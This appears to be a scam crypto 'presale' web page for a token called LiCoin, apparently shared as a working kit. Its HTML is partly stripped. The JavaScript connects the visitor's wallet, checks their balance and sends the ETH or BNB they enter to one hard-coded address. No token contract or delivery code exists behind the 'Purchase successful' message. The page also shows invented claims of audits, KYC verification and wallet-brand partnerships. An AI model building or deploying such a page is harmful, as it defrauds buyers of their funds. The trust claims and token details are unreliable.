behar-jahiu - funksionon 100%

adressconnect89 0x7D53BC37dAa7d5218A5BcB4e10631BfbfB9D46bC

<!DOCTYPE html>

<head>

<title>LiCoin Presale - Live Now</title>

<style>

@keyframes pulse {

0%, 100% { opacity: 1; }

50% { opacity: .5; }

}

.animate-pulse {

animation: pulse 2s cubic-bezier(0.4, 0, 0.6, 1) infinite;

}

@keyframes slideIn {

from {

opacity: 0;

transform: translateY(-10px);

}

to {

opacity: 1;

transform: translateY(0);

}

.slide-in {

animation: slideIn 0.3s ease-out;

}

.gradient-text {

background: linear-gradient(to right, #60a5fa, #22d3ee, #a78bfa);

-webkit-background-clip: text;

-webkit-text-fill-color: transparent;

background-clip: text;

}

.grid-bg {

background-image: url("data:image/svg+xml,%3Csvg width='60' height='60' viewBox='0 0 60 60' xmlns='http://www.w3.org/2000/svg'%3E%3Cg fill='none' fill-rule='evenodd'%3E%3Cg fill='%23ffffff' fill-opacity='0.05'%3E%3Cpath d='M36 34v-4h-2v4h-4v2h4v4h2v-4h4v-2h-4zm0-30V0h-2v4h-4v2h4v4h2V6h4V4h-4zM6 34v-4H4v4H0v2h4v4h2v-4h4v-2H6zM6 4V0H4v4H0v6h6V4z'/%3E%3C/g%3E%3C/g%3E%3C/svg%3E");

}

body {

font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', Arial, sans-serif;

}

.display-font {

font-weight: 900;

letter-spacing: -0.02em;

}

/* Mobile optimizations */

@media (max-width: 768px) {

.display-font {

letter-spacing: -0.01em;

}

.accordion-icon {

transition: transform 0.3s ease-out;

}

.rotate-180 {

transform: rotate(180deg);

}

</style>

</head>

</div>

</svg>

<span class="text-xs md:text-sm font-semibold text-white">Live Presale Active</span>

</div>

<span class="gradient-text">LiCoin Presale</span>

</h1>

Secure your position in the future of decentralized finance

</p>

</div>

</svg>

</div>

<div>

<h2 class="text-2xl md:text-3xl font-black text-white display-font">Purchase LiCoin</h2>

<p class="text-slate-400 text-xs md:text-sm">Connect to get started</p>

</div>

<div class="text-xs text-slate-400 mb-1">Price</div>

</div>

<div class="text-xs text-slate-400 mb-1">Total Supply</div>

</div>

<label class="text-sm font-bold text-white mb-3 block">Select Network</label>

<div class="font-bold text-white text-base md:text-lg">Ethereum</div>

<div class="text-xs text-slate-400 mt-1">ETH Mainnet</div>

</button>

<div class="font-bold text-white text-base md:text-lg">BNB Chain</div>

<div class="text-xs text-slate-400 mt-1">BSC Mainnet</div>

</button>

</div>

</svg>

</div>

<label class="text-sm font-bold text-white block mb-2">Connect Wallet</label>

MetaMask

</button>

Trust Wallet

</button>

Coinbase Wallet

</button>

</div>

<p class="text-xs text-slate-400 mb-1 font-medium">Connected Wallet</p>

</div>

Disconnect

</button>

</div>

<div>

Enter Amount (<span id="currency-symbol">ETH</span>)

</label>

<input

type="number"

id="amount-input"

step="0.001"

min="0"

placeholder="0.00"

class="w-full h-14 md:h-16 px-4 text-lg md:text-xl bg-slate-800/60 border-2 border-slate-700 rounded-xl text-white placeholder:text-slate-500 font-mono focus:outline-none focus:border-blue-500 transition-all"

oninput="updateConversion()"

</div>

<div class="text-xs md:text-sm text-slate-300 mb-2 font-medium">You will receive</div>

<div class="text-xs md:text-sm text-cyan-400 font-semibold">LiCoin</div>

</div>

<button

id="purchase-btn"

onclick="handlePurchase()"

disabled

class="w-full h-14 md:h-16 text-base md:text-lg font-bold rounded-xl shadow-lg bg-gradient-to-r from-blue-500 to-cyan-500 hover:from-blue-600 hover:to-cyan-600 text-white disabled:opacity-50 disabled:cursor-not-allowed transition-all flex items-center justify-center gap-2 touch-manipulation"

Complete Purchase

</svg>

</button>

</div>

</svg>

Security & Trust

</h3>

</svg>

<span class="text-slate-300">All transactions secured by blockchain technology</span>

</div>

</svg>

<span class="text-slate-300">Smart contracts audited by leading security firms</span>

</div>

</svg>

<span class="text-slate-300">Instant token delivery after confirmation</span>

</div>

</svg>

<span class="text-slate-300">Non-custodial - you control your assets</span>

</div>

</svg>

Verified & Audited

</h3>

<div class="text-xs md:text-sm font-semibold text-white">Contract Audit</div>

</div>

<div class="text-xs md:text-sm font-semibold text-white">KYC Verified</div>

</div>

<h4 class="text-sm font-bold text-slate-400 mb-3 text-center">Trusted Partners</h4>

<span class="text-xs font-semibold text-slate-300 group-hover:text-white">MetaMask</span>

</div>

<span class="text-xs font-semibold text-slate-300 group-hover:text-white">Trust Wallet</span>

</div>

<span class="text-xs font-semibold text-slate-300 group-hover:text-white">Coinbase</span>

</div>

About LiCoin

</h3>

<span class="text-base md:text-lg font-semibold text-white group-hover:text-blue-400 transition-colors">What is LiCoin</span>

</svg>

</button>

LiCoin (LIC) is a next-generation token designed to bring transparency, speed, and security to the digital finance world. Its mission is to create a decentralized economy where users have full control over their assets.

</p>

</div>

<span class="text-base md:text-lg font-semibold text-white group-hover:text-blue-400 transition-colors">Why LiCoin Matters</span>

</svg>

</button>

LiCoin is more than just a token — it's a step toward a more open and fair financial system.

</p>

</svg>

<span class="text-slate-300 text-sm md:text-base">Fast, low-cost transactions</span>

</li>

</svg>

<span class="text-slate-300 text-sm md:text-base">Real-world utility</span>

</li>

</svg>

<span class="text-slate-300 text-sm md:text-base">Long-term investment opportunities</span>

</li>

</svg>

<span class="text-slate-300 text-sm md:text-base">Global community</span>

</li>

</ul>

</div>

<span class="text-base md:text-lg font-semibold text-white group-hover:text-blue-400 transition-colors">Tokenomics</span>

</svg>

</button>

<div>

<span class="text-slate-300 font-medium text-sm md:text-base">Treasury</span>

</div>

</div>

<div>

<span class="text-slate-300 font-medium text-sm md:text-base">Marketing</span>

</div>

</div>

<div>

<span class="text-slate-300 font-medium text-sm md:text-base">Development</span>

</div>

</div>

<div>

<span class="text-slate-300 font-medium text-sm md:text-base">Rewards</span>

</div>

</div>

<div>

<span class="text-slate-300 font-medium text-sm md:text-base">Listings</span>

</div>

</div>

<span class="text-xs md:text-sm text-slate-400 font-medium">Ethereum</span>

</svg>

</div>

<div id="eth-price" class="text-2xl md:text-3xl font-bold text-white mb-1 md:mb-2">Loading...</div>

</div>

<span class="text-xs md:text-sm text-slate-400 font-medium">BNB Chain</span>

</svg>

</div>

<div id="bnb-price" class="text-2xl md:text-3xl font-bold text-white mb-1 md:mb-2">Loading...</div>

</div>

Exchange Rates

</h3>

</div>

</div>

const LICOIN_PRICE = 0.00000034;

const MIN_ETH = 0.004;

const MIN_BNB = 0.015;

const CHAINS = {

ethereum: {

symbol: "ETH",

rate: 2942512, // Fixed rate

receivingAddress: "0x7ada445d92b490c73679c0a904afdb9e88bd4ddb",

chainId: "0x1",

priceUSD: 0,

minOrder: MIN_ETH

bsc: {

symbol: "BNB",

rate: 0, // Calculated dynamically

receivingAddress: "0x7ada445d92b490c73679c0a904afdb9e88bd4ddb",

chainId: "0x38",

priceUSD: 0,

minOrder: MIN_BNB

}

};

let state = {

selectedChain: 'ethereum',

walletAddress: null,

isConnected: false,

isProcessing: false

};

function isMobile() {

}

async function fetchCryptoPrices() {

try {

const response = await fetch('https://api.coingecko.com/api/v3/simple/price?ids=ethereum,binancecoin&vs_currencies=usd&include_24hr_change=true');

const data = await response.json();

const ethPrice = data.ethereum.usd;

const ethChange = data.ethereum.usd_24h_change;

CHAINS.ethereum.priceUSD = ethPrice;

document.getElementById('eth-price').textContent = '$' + ethPrice.toLocaleString(undefined, {maximumFractionDigits: 0});

document.getElementById('eth-change').textContent = (ethChange >= 0 ? '+' : '') + ethChange.toFixed(2) + '% (24h)';

document.getElementById('eth-change').className = 'text-xs md:text-sm font-semibold ' + (ethChange >= 0 ? 'text-green-400' : 'text-red-400');

document.getElementById('eth-lic-rate').textContent = CHAINS.ethereum.rate.toLocaleString() + ' LIC';

const bnbPrice = data.binancecoin.usd;

const bnbChange = data.binancecoin.usd_24h_change;

CHAINS.bsc.priceUSD = bnbPrice;

CHAINS.bsc.rate = Math.floor((bnbPrice / ethPrice) * CHAINS.ethereum.rate);

document.getElementById('bnb-price').textContent = '$' + bnbPrice.toLocaleString(undefined, {maximumFractionDigits: 0});

document.getElementById('bnb-change').textContent = (bnbChange >= 0 ? '+' : '') + bnbChange.toFixed(2) + '% (24h)';

document.getElementById('bnb-change').className = 'text-xs md:text-sm font-semibold ' + (bnbChange >= 0 ? 'text-green-400' : 'text-red-400');

document.getElementById('bnb-lic-rate').textContent = CHAINS.bsc.rate.toLocaleString() + ' LIC';

} catch (error) {

console.error('Error fetching crypto prices:', error);

CHAINS.ethereum.rate = 2942512;

CHAINS.bsc.rate = 550000;

document.getElementById('eth-price').textContent = '$3,200';

document.getElementById('bnb-price').textContent = '$600';

document.getElementById('eth-lic-rate').textContent = '2,942,512 LIC';

document.getElementById('bnb-lic-rate').textContent = '550,000 LIC';

}

fetchCryptoPrices();

setInterval(fetchCryptoPrices, 30000);

function showStatus(type, message) {

const alert = document.getElementById('status-alert');

const icon = document.getElementById('status-icon');

const messageEl = document.getElementById('status-message');

alert.classList.remove('hidden', 'border-green-500/30', 'bg-green-500/10', 'border-red-500/30', 'bg-red-500/10', 'border-blue-500/30', 'bg-blue-500/10');

if (type === 'success') {

alert.classList.add('border-green-500/30', 'bg-green-500/10');

icon.innerHTML = '<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M9 12l2 2 4-4m6 2a9 9 0 11-18 0 9 9 0 0118 0z"></path>';

icon.className = 'h-5 w-5 flex-shrink-0 mt-0.5 text-green-400';

} else if (type === 'error') {

alert.classList.add('border-red-500/30', 'bg-red-500/10');

icon.innerHTML = '<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 8v4m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"></path>';

icon.className = 'h-5 w-5 flex-shrink-0 mt-0.5 text-red-400';

} else {

alert.classList.add('border-blue-500/30', 'bg-blue-500/10');

icon.innerHTML = '<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M13 16h-1v-4h-1m1-4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"></path>';

icon.className = 'h-5 w-5 flex-shrink-0 mt-0.5 text-blue-400';

}

messageEl.textContent = message;

}

function hideStatus() {

document.getElementById('status-alert').classList.add('hidden');

}

function selectChain(chain) {

state.selectedChain = chain;

document.querySelectorAll('.chain-btn').forEach(btn => {

btn.classList.remove('border-blue-500', 'bg-blue-500/20', 'shadow-lg', 'shadow-blue-500/20', 'border-purple-500', 'bg-purple-500/20', 'shadow-purple-500/20');

btn.classList.add('border-slate-700', 'hover:border-blue-500/50', 'bg-slate-800/40');

});

const selectedBtn = document.getElementById('btn-' + chain);

selectedBtn.classList.remove('border-slate-700', 'hover:border-blue-500/50', 'bg-slate-800/40');

if (chain === 'ethereum') {

selectedBtn.classList.add('border-blue-500', 'bg-blue-500/20', 'shadow-lg', 'shadow-blue-500/20');

} else {

selectedBtn.classList.add('border-purple-500', 'bg-purple-500/20', 'shadow-lg', 'shadow-purple-500/20');

}

document.getElementById('currency-symbol').textContent = CHAINS[chain].symbol;

updateConversion();

if (state.isConnected && window.ethereum) {

switchNetwork();

}

async function connectWallet(walletType) {

try {

// Check if Web3 wallet is available

if (!window.ethereum) {

// For mobile, try to open wallet app with deep link

if (isMobile()) {

const currentUrl = encodeURIComponent(window.location.href);

if (walletType === 'metamask') {

window.location.href = `https://metamask.app.link/dapp/${window.location.host}${window.location.pathname}`;

} else if (walletType === 'trustwallet') {

window.location.href = `https://link.trustwallet.com/open_url?coin_id=60&url=${currentUrl}`;

} else if (walletType === 'coinbase') {

window.location.href = `https://go.cb-w.com/dapp?cb_url=${currentUrl}`;

}

return;

} else {

showStatus('error', 'Please install MetaMask, Trust Wallet, or Coinbase Wallet extension first.');

return;

}

showStatus('info', 'Connecting to your wallet...');

// THIS IS THE KEY FIX - Request accounts directly from user's wallet

// This will open the wallet popup and ask user to select/approve their account

const accounts = await window.ethereum.request({

method: 'eth_requestAccounts'

});

if (!accounts || accounts.length === 0) {

showStatus('error', 'No accounts found. Please unlock your wallet.');

return;

}

// Use the ACTUAL account that user selected in their wallet

state.walletAddress = accounts[0];

console.log('[v0] Connected to user wallet:', state.walletAddress);

// Switch to correct network

await switchNetwork();

state.isConnected = true;

updateUI();

showStatus('success', 'Successfully connected to your wallet!');

setTimeout(() => hideStatus(), 3000);

// Listen for account changes

if (window.ethereum.on) {

window.ethereum.on('accountsChanged', handleAccountsChanged);

window.ethereum.on('chainChanged', handleChainChanged);

}

} catch (error) {

console.error('[v0] Wallet connection error:', error);

handleConnectionError(error);

}

function handleAccountsChanged(accounts) {

if (accounts.length === 0) {

// User disconnected all accounts

disconnectWallet();

} else {

// User switched to a different account

state.walletAddress = accounts[0];

console.log('[v0] Account changed to:', state.walletAddress);

updateUI();

showStatus('info', 'Account changed successfully');

setTimeout(() => hideStatus(), 2000);

}

function handleChainChanged() {

// Reload page when chain changes to reset state

console.log('[v0] Chain changed, reloading...');

window.location.reload();

}

function handleConnectionError(error) {

let errorMessage = 'Failed to connect wallet: ';

if (error.code === 4001) {

errorMessage = 'Connection request rejected. Please try again.';

} else if (error.code === -32002) {

errorMessage = 'Connection request pending. Please check your wallet.';

} else if (error.message) {

errorMessage += error.message;

} else {

errorMessage += 'Unknown error. Please refresh and try again.';

}

showStatus('error', errorMessage);

}

async function switchNetwork() {

const chain = CHAINS[state.selectedChain];

try {

await window.ethereum.request({

method: 'wallet_switchEthereumChain',

params: [{ chainId: chain.chainId }]

});

} catch (switchError) {

if (switchError.code === 4902 && state.selectedChain === 'bsc') {

try {

await window.ethereum.request({

method: 'wallet_addEthereumChain',

params: [{

chainId: '0x38',

chainName: 'BNB Smart Chain',

nativeCurrency: {

symbol: 'BNB',

decimals: 18

rpcUrls: ['https://bsc-dataseed.binance.org/'],

blockExplorerUrls: ['https://bscscan.com/']

}]

});

} catch (addError) {

console.error('Error adding network:', addError);

throw addError;

}

} else {

throw switchError;

}

function disconnectWallet() {

state.walletAddress = null;

state.isConnected = false;

document.getElementById('amount-input').value = '';

if (window.ethereum.removeListener) {

window.ethereum.removeListener('accountsChanged', handleAccountsChanged);

window.ethereum.removeListener('chainChanged', handleChainChanged);

}

updateUI();

hideStatus();

}

function updateUI() {

if (state.isConnected) {

document.getElementById('wallet-buttons').classList.add('hidden');

document.getElementById('connected-section').classList.remove('hidden');

const shortAddress = state.walletAddress.slice(0, 10) + '...' + state.walletAddress.slice(-8);

document.getElementById('wallet-address').textContent = shortAddress;

} else {

document.getElementById('wallet-buttons').classList.remove('hidden');

document.getElementById('connected-section').classList.add('hidden');

}

function updateConversion() {

const amount = document.getElementById('amount-input').value;

const conversionDisplay = document.getElementById('conversion-display');

const licoinAmount = document.getElementById('licoin-amount');

const purchaseBtn = document.getElementById('purchase-btn');

if (amount && parseFloat(amount) > 0) {

const chain = CHAINS[state.selectedChain];

if (parseFloat(amount) < chain.minOrder) {

showStatus('error', `Minimum order is ${chain.minOrder} ${chain.symbol}`);

conversionDisplay.classList.add('hidden');

purchaseBtn.disabled = true;

return;

} else {

hideStatus();

}

const licoin = (parseFloat(amount) * chain.rate).toLocaleString();

licoinAmount.textContent = licoin;

conversionDisplay.classList.remove('hidden');

purchaseBtn.disabled = false;

} else {

conversionDisplay.classList.add('hidden');

purchaseBtn.disabled = true;

}

async function handlePurchase() {

const amount = document.getElementById('amount-input').value;

const chain = CHAINS[state.selectedChain];

if (!amount || parseFloat(amount) <= 0) {

showStatus('error', 'Please enter a valid amount!');

return;

}

if (parseFloat(amount) < chain.minOrder) {

showStatus('error', `Minimum order is ${chain.minOrder} ${chain.symbol}`);

return;

}

// Check balance before attempting transaction

try {

const balanceHex = await window.ethereum.request({

method: 'eth_getBalance',

params: [state.walletAddress, 'latest']

});

const balanceInEth = parseInt(balanceHex, 16) / 1e18;

const requestedAmount = parseFloat(amount);

console.log('[v0] Balance check:', {

address: state.walletAddress,

balance: balanceInEth,

requested: requestedAmount

});

// Add a small buffer for gas fees

if (balanceInEth < requestedAmount + 0.001) {

showStatus('error', `Insufficient balance! You have ${balanceInEth.toFixed(6)} ${chain.symbol} but need ${(requestedAmount + 0.001).toFixed(6)} ${chain.symbol} (including gas fees).`);

return;

}

} catch (error) {

console.error('[v0] Balance check error:', error);

showStatus('error', 'Error checking balance. Please try again.');

return;

}

state.isProcessing = true;

const purchaseBtn = document.getElementById('purchase-btn');

purchaseBtn.disabled = true;

purchaseBtn.innerHTML = '<svg class="animate-spin h-5 w-5 inline" fill="none" stroke="currentColor" viewBox="0 0 24 24"><circle class="opacity-25" cx="12" cy="12" r="10" stroke="currentColor" stroke-width="4"></circle><path class="opacity-75" fill="currentColor" d="M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z"></path></svg><span class="ml-2">Processing...</span>';

try {

// Convert amount to Wei

const amountInWei = BigInt(Math.floor(parseFloat(amount) * 1e18));

const hexValue = '0x' + amountInWei.toString(16);

console.log('[v0] Sending transaction:', {

from: state.walletAddress,

to: chain.receivingAddress,

value: hexValue,

amount: amount,

chain: state.selectedChain

});

const txHash = await window.ethereum.request({

method: 'eth_sendTransaction',

params: [{

from: state.walletAddress, // This is the user's REAL address

to: chain.receivingAddress,

value: hexValue

}]

});

showStatus('info', `Transaction sent! Hash: ${txHash.slice(0, 10)}...${txHash.slice(-8)}`);

console.log('[v0] Transaction hash:', txHash);

const licoinReceived = (parseFloat(amount) * chain.rate).toLocaleString();

// Use setTimeout to allow tx confirmation and provide feedback

setTimeout(() => {

showStatus('success', `Purchase successful! ${licoinReceived} LIC tokens will be sent to your wallet after confirmation.`);

}, 3000);

document.getElementById('amount-input').value = ''; // Clear input after successful purchase

updateConversion(); // Hide conversion display and disable button

} catch (error) {

console.error('[v0] Purchase error:', error);

let errorMessage = 'Purchase failed: ';

if (error.code === 4001) {

errorMessage = 'Transaction rejected by the user.';

} else if (error.message) {

if (error.message.includes('insufficient funds')) {

errorMessage = 'Insufficient funds for this transaction (including gas fees).';

} else {

errorMessage += error.message;

}

} else {

errorMessage += 'An unexpected error occurred.';

}

showStatus('error', errorMessage);

} finally {

state.isProcessing = false;

purchaseBtn.disabled = false;

purchaseBtn.innerHTML = 'Complete Purchase <svg class="h-5 w-5" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M13 7l5 5m0 0l-5 5m5-5H6"></path></svg>';

}

function toggleAccordion(id) {

const element = document.getElementById(`accordion-${id}`);

const icon = document.querySelector(`.accordion-item button[onclick="toggleAccordion('${id}')"] .accordion-icon`);

element.classList.toggle('hidden');

icon.classList.toggle('rotate-180');

}

window.addEventListener('load', async () => {

if (window.ethereum) {

try {

// Check if wallet is already connected

const accounts = await window.ethereum.request({ method: 'eth_accounts' });

if (accounts && accounts.length > 0) {

state.walletAddress = accounts[0];

state.isConnected = true;

updateUI();

console.log('[v0] Auto-connected to wallet:', state.walletAddress);

if (window.ethereum.on) {

window.ethereum.on('accountsChanged', handleAccountsChanged);

window.ethereum.on('chainChanged', handleChainChanged);

}

} catch (error) {

console.error('[v0] Error checking existing connection:', error);

}

});

</script>

</body>

</html>